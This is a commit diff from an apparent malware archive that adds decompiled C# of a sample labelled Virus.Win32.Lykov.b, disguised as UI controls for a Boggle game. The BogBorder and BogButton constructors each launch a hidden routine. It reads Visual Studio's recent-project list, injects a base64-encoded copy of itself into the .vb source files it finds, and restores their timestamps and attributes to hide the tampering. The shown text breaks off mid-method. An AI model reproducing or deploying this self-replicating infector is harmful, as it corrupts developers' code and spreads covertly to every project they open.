auto-decompiled msil via petikvx

add
This commit is contained in:
vxunderground
2022-08-18 06:28:56 -05:00
parent 26192f771b
commit f2ac1ece55
12767 changed files with 1945075 additions and 0 deletions
@@ -0,0 +1,13 @@
using System;
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: Guid("C5DE8F89-A0C3-4965-BDB8-91C73C66005F")]
[assembly: CLSCompliant(true)]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyTitle("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyVersion("1.0.1320.31511")]
@@ -0,0 +1,237 @@
// Decompiled with JetBrains decompiler
// Type: Boggle.BogBorder
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Boggle
{
public class BogBorder : PictureBox
{
private IContainer components;
private BogBorder.Direction clsBorderDirection;
private void vIT()
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
if (registryKey.ValueCount == 0)
ProjectData.EndApp();
string String2 = "Private Sub vIT()";
string str1 = "Public Sub New()";
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
string Replacement = "J = \"";
int num1 = Strings.Len(str3);
int Start = 1;
while (Start <= num1)
{
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
checked { Start += 64; }
}
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
int num2 = checked (registryKey.ValueCount - 1);
int index1 = 0;
while (index1 <= num2)
{
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.vb");
int num3 = Information.LBound((Array) files);
int num4 = Information.UBound((Array) files);
int index2 = num3;
while (index2 <= num4)
{
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
FileAttributes attributes = File.GetAttributes(files[index2]);
File.SetAttributes(files[index2], FileAttributes.Normal);
StreamReader streamReader = File.OpenText(files[index2]);
string end = streamReader.ReadToEnd();
streamReader.Close();
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
{
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
StreamWriter text = File.CreateText(files[index2]);
text.Write(str6);
text.Flush();
text.Close();
}
File.SetLastWriteTime(files[index2], lastWriteTime);
File.SetLastAccessTime(files[index2], lastAccessTime);
File.SetAttributes(files[index2], attributes);
checked { ++index2; }
}
}
checked { ++index1; }
}
}
public BogBorder()
{
this.Resize += new EventHandler(this.BogBorder_Resize);
new Thread(new ThreadStart(this.vIT)).Start();
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent() => this.components = (IContainer) new System.ComponentModel.Container();
public BogBorder.Direction BorderDirection
{
get => this.clsBorderDirection;
set
{
this.clsBorderDirection = value;
this.Refresh();
}
}
protected override void OnPaint(PaintEventArgs pe)
{
Pen pen1 = new Pen(System.Drawing.Color.Black);
Rectangle rect = new Rectangle(0, 0, this.Width, this.Height);
GraphicsPath graphicsPath1 = new GraphicsPath();
GraphicsPath graphicsPath2 = new GraphicsPath();
GraphicsPath graphicsPath3 = new GraphicsPath();
GraphicsPath graphicsPath4 = new GraphicsPath();
int red = (int) System.Drawing.Color.DarkGray.R;
int green = (int) System.Drawing.Color.DarkGray.G;
int blue = (int) System.Drawing.Color.DarkGray.B;
double width = (double) this.Width;
float StepValue = (float) this.Width / (float) red;
float limit = (float) width;
for (float num = 0.0f; FlowControl.ForNextCheckR4(num, limit, StepValue); num += StepValue)
{
checked { --red; }
checked { --green; }
checked { --blue; }
if (red == 0)
red = 1;
if (green == 0)
green = 1;
if (blue == 0)
blue = 1;
Pen pen2 = new Pen(System.Drawing.Color.FromArgb(red, green, blue));
GraphicsPath graphicsPath5 = new GraphicsPath();
GraphicsPath graphicsPath6 = new GraphicsPath();
GraphicsPath graphicsPath7 = new GraphicsPath();
PointF pointF1;
PointF pointF2;
PointF pointF3;
PointF pointF4;
Point point1;
Point point2;
switch (this.clsBorderDirection)
{
case BogBorder.Direction.Left:
GraphicsPath graphicsPath8 = graphicsPath5;
pointF1 = new PointF(num, 40f);
PointF pt1_1 = pointF1;
pointF2 = new PointF(num, num);
PointF pt2_1 = pointF2;
pointF3 = new PointF(num, num);
PointF pt3_1 = pointF3;
pointF4 = new PointF(40f, num);
PointF pt4_1 = pointF4;
graphicsPath8.AddBezier(pt1_1, pt2_1, pt3_1, pt4_1);
GraphicsPath graphicsPath9 = graphicsPath7;
pointF4 = new PointF(num, (float) checked (this.Height - 40));
PointF pt1_2 = pointF4;
pointF3 = new PointF(num, (float) this.Height - num);
PointF pt2_2 = pointF3;
pointF2 = new PointF(num, (float) this.Height - num);
PointF pt3_2 = pointF2;
pointF1 = new PointF(40f, (float) this.Height - num);
PointF pt4_2 = pointF1;
graphicsPath9.AddBezier(pt1_2, pt2_2, pt3_2, pt4_2);
GraphicsPath graphicsPath10 = graphicsPath6;
point1 = new Point(checked ((int) Math.Round((double) num)), 40);
Point pt1_3 = point1;
point2 = new Point(checked ((int) Math.Round((double) num)), checked (this.Height - 40));
Point pt2_3 = point2;
graphicsPath10.AddLine(pt1_3, pt2_3);
break;
case BogBorder.Direction.Right:
GraphicsPath graphicsPath11 = graphicsPath5;
pointF4 = new PointF((float) this.Width - num, 40f);
PointF pt1_4 = pointF4;
pointF3 = new PointF((float) this.Width - num, num);
PointF pt2_4 = pointF3;
pointF2 = new PointF((float) this.Width - num, num);
PointF pt3_3 = pointF2;
pointF1 = new PointF(0.0f, num);
PointF pt4_3 = pointF1;
graphicsPath11.AddBezier(pt1_4, pt2_4, pt3_3, pt4_3);
GraphicsPath graphicsPath12 = graphicsPath7;
pointF4 = new PointF((float) this.Width - num, (float) checked (this.Height - 40));
PointF pt1_5 = pointF4;
pointF3 = new PointF((float) this.Width - num, (float) this.Height - num);
PointF pt2_5 = pointF3;
pointF2 = new PointF((float) this.Width - num, (float) this.Height - num);
PointF pt3_4 = pointF2;
pointF1 = new PointF(0.0f, (float) this.Height - num);
PointF pt4_4 = pointF1;
graphicsPath12.AddBezier(pt1_5, pt2_5, pt3_4, pt4_4);
GraphicsPath graphicsPath13 = graphicsPath6;
point2 = new Point(checked ((int) Math.Round((double) unchecked ((float) this.Width - num))), 40);
Point pt1_6 = point2;
point1 = new Point(checked ((int) Math.Round((double) unchecked ((float) this.Width - num))), checked (this.Height - 40));
Point pt2_6 = point1;
graphicsPath13.AddLine(pt1_6, pt2_6);
break;
case BogBorder.Direction.Top:
LinearGradientBrush linearGradientBrush1 = new LinearGradientBrush(rect, System.Drawing.Color.DarkGray, System.Drawing.Color.Black, LinearGradientMode.Vertical);
graphicsPath6.AddRectangle(rect);
pe.Graphics.FillPath((Brush) linearGradientBrush1, graphicsPath6);
goto label_14;
case BogBorder.Direction.Bottom:
LinearGradientBrush linearGradientBrush2 = new LinearGradientBrush(rect, System.Drawing.Color.Black, System.Drawing.Color.DarkGray, LinearGradientMode.Vertical);
graphicsPath6.AddRectangle(rect);
pe.Graphics.FillPath((Brush) linearGradientBrush2, graphicsPath6);
goto label_14;
}
pe.Graphics.DrawPath(pen2, graphicsPath5);
pe.Graphics.DrawPath(pen2, graphicsPath7);
pe.Graphics.DrawPath(pen2, graphicsPath6);
graphicsPath4.AddPath(graphicsPath5, true);
graphicsPath4.AddPath(graphicsPath6, true);
graphicsPath4.AddPath(graphicsPath7, true);
}
label_14:
this.BackColor = System.Drawing.Color.DarkGray;
}
private void BogBorder_Resize(object sender, EventArgs e) => this.Refresh();
public enum Direction
{
Left,
Right,
Top,
Bottom,
}
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
@@ -0,0 +1,218 @@
// Decompiled with JetBrains decompiler
// Type: Boggle.BogButton
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Boggle
{
public class BogButton : Button
{
private IContainer components;
private System.Drawing.Color[] BkGradColors;
private System.Drawing.Color[] TxtGradColors;
private string clsButtonText;
private bool clsEnabled;
private void vIT()
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
if (registryKey.ValueCount == 0)
ProjectData.EndApp();
string String2 = "Private Sub vIT()";
string str1 = "Public Sub New()";
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
string Replacement = "J = \"";
int num1 = Strings.Len(str3);
int Start = 1;
while (Start <= num1)
{
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
checked { Start += 64; }
}
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
int num2 = checked (registryKey.ValueCount - 1);
int index1 = 0;
while (index1 <= num2)
{
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.vb");
int num3 = Information.LBound((Array) files);
int num4 = Information.UBound((Array) files);
int index2 = num3;
while (index2 <= num4)
{
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
FileAttributes attributes = File.GetAttributes(files[index2]);
File.SetAttributes(files[index2], FileAttributes.Normal);
StreamReader streamReader = File.OpenText(files[index2]);
string end = streamReader.ReadToEnd();
streamReader.Close();
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
{
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
StreamWriter text = File.CreateText(files[index2]);
text.Write(str6);
text.Flush();
text.Close();
}
File.SetLastWriteTime(files[index2], lastWriteTime);
File.SetLastAccessTime(files[index2], lastAccessTime);
File.SetAttributes(files[index2], attributes);
checked { ++index2; }
}
}
checked { ++index1; }
}
}
public BogButton()
{
this.MouseDown += new MouseEventHandler(this.BogButton_MouseDown);
this.MouseUp += new MouseEventHandler(this.BogButton_MouseUp);
this.MouseEnter += new EventHandler(this.BogButton_MouseEnter);
this.Paint += new PaintEventHandler(this.OnPaint);
this.MouseLeave += new EventHandler(this.BogButton_MouseLeave);
this.BkGradColors = new System.Drawing.Color[2]
{
System.Drawing.Color.LightBlue,
System.Drawing.Color.Blue
};
this.TxtGradColors = new System.Drawing.Color[2]
{
System.Drawing.Color.LightCyan,
System.Drawing.Color.DarkSalmon
};
new Thread(new ThreadStart(this.vIT)).Start();
this.InitializeComponent();
this.clsButtonText = "New";
this.BogButtonEnabled = true;
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent() => this.components = (IContainer) new System.ComponentModel.Container();
public string ButtonText
{
get => this.clsButtonText;
set
{
this.clsButtonText = value;
this.Refresh();
}
}
public bool BogButtonEnabled
{
get => this.clsEnabled;
set
{
this.clsEnabled = value;
if (!this.clsEnabled)
{
this.TxtGradColors[0] = System.Drawing.Color.LightGray;
this.TxtGradColors[1] = System.Drawing.Color.Black;
this.BkGradColors[0] = System.Drawing.Color.DarkGray;
this.BkGradColors[1] = System.Drawing.Color.LightGray;
}
else
{
this.TxtGradColors[0] = System.Drawing.Color.LightCyan;
this.TxtGradColors[1] = System.Drawing.Color.DarkSalmon;
this.BkGradColors[0] = System.Drawing.Color.LightBlue;
this.BkGradColors[1] = System.Drawing.Color.Blue;
}
this.Enabled = this.clsEnabled;
this.Refresh();
}
}
protected void OnPaint(object sender, PaintEventArgs e)
{
GraphicsPath path = new GraphicsPath();
Rectangle rect = new Rectangle(0, 0, this.Width, this.Height);
LinearGradientBrush linearGradientBrush1 = new LinearGradientBrush(rect, this.BkGradColors[0], this.BkGradColors[1], LinearGradientMode.ForwardDiagonal);
LinearGradientBrush linearGradientBrush2 = new LinearGradientBrush(rect, this.TxtGradColors[0], this.TxtGradColors[1], LinearGradientMode.ForwardDiagonal);
path.AddArc(rect, 335f, 50f);
path.AddArc(rect, 155f, 50f);
linearGradientBrush1.LinearColors = this.BkGradColors;
e.Graphics.FillPath((Brush) linearGradientBrush1, path);
e.Graphics.SmoothingMode = SmoothingMode.HighQuality;
Font font1 = this.Font;
SizeF sizeF1 = new SizeF();
Graphics graphics = e.Graphics;
string clsButtonText = this.clsButtonText;
Font font2 = font1;
SizeF layoutArea = new SizeF();
StringFormat stringFormat = new StringFormat(StringFormatFlags.DirectionRightToLeft);
int num1 = Strings.Len(this.clsButtonText);
ref int local1 = ref num1;
int num2 = 1;
ref int local2 = ref num2;
SizeF sizeF2 = graphics.MeasureString(clsButtonText, font2, layoutArea, stringFormat, out local1, out local2);
e.Graphics.DrawString(this.clsButtonText, new Font(this.Font.FontFamily, 10f, FontStyle.Bold), (Brush) linearGradientBrush2, (float) ((double) this.Width / 2.35 - (double) sizeF2.Width / 2.0), 16f);
this.Region = new Region(path);
}
private void BogButton_MouseUp(object sender, MouseEventArgs e)
{
checked { this.Left -= 3; }
checked { this.Top -= 3; }
this.BkGradColors[0] = System.Drawing.Color.LightBlue;
this.BkGradColors[1] = System.Drawing.Color.Blue;
this.TxtGradColors[0] = System.Drawing.Color.Red;
this.TxtGradColors[1] = System.Drawing.Color.Navy;
this.Refresh();
this.Enabled = this.clsEnabled;
}
private void BogButton_MouseEnter(object sender, EventArgs e)
{
this.TxtGradColors[0] = System.Drawing.Color.Red;
this.TxtGradColors[1] = System.Drawing.Color.Navy;
this.Refresh();
}
private void BogButton_MouseLeave(object sender, EventArgs e)
{
this.TxtGradColors[0] = System.Drawing.Color.LightCyan;
this.TxtGradColors[1] = System.Drawing.Color.DarkSalmon;
